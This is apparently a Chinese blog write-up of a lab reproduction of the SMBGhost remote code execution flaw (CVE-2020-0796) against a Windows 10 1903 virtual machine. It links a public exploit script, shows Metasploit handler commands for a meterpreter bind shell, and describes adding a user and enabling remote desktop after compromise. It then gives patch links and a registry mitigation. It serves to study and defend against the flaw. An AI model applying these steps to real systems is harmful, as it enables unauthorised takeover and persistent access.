01 概述
Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。SMB远程代码执行漏洞CVE-2020-0796,攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。这几天尝试复现了下,也踩坑无数,最终复现成功,成功获取到机器的完全控制权限。
02 影响版本
根据微软发布,如下版本受影响
03 环境准备
奇安信检测工具:
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
远程利用脚本:
https://github.com/chompie1337/SMBGhost_RCE_PoC
攻击机:kali
靶机:我使用的是如下版本,其他版本可以在https://msdn.itellyou.cn/下载。
ed2k://|file|cn_windows_10_business_editions_version_1903_updated_sept_2019_x64_dvd_2f5281e1.iso|5231140864|B1D5C4C401036B0B1EBA64476A95F338|/
04 漏洞复现
靶机安装成功后,获取到靶机ip地址:
A、使用奇安信检测工具
发现该版本没有发现漏洞,检测该版本安装的补丁是否存在修复该漏洞的补丁KB4551762、KB4560960?
查看发现未安装相关补丁,最后发现是因为未关闭防火墙,关闭防火墙后,检测漏洞存在。
B、使用远程利用脚本复现:
使用msf 生成payload
把生成的payload,使用USER_PAYLOAD替换掉buf, 再复制到exploit.py中
使用msf开启监听:
msf5 > use exploit/multi/handler
[*] Using configured payloadgeneric/shell_reverse_tcp
msf5 exploit(multi/handler) > setpayload windows/x64/meterpreter/bind_tcp
payload =>windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.56.210
rhost => 192.168.56.210
msf5 exploit(multi/handler) > set lport 3333
lport => 3333
msf5 exploit(multi/handler) > run
运行执行脚本
注意:此处需要运行执行脚本,我使用的是python3.6.8,使用python其他版本均失败。有蓝屏风险,需要多尝试几次。
成功获取shell
开启3389,创建用户
用户添加成功,远程登录成功
05 修复方法
1. 微软已经发布了此漏洞的安全补丁,访问如下链接:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
2. win10版本 1903 和 1909 的服务堆栈更新
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4560959
3. 如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:
执行以下命令
Set-ItemProperty-Path"HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"DisableCompression-Type DWORD -Value 1 -Force
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。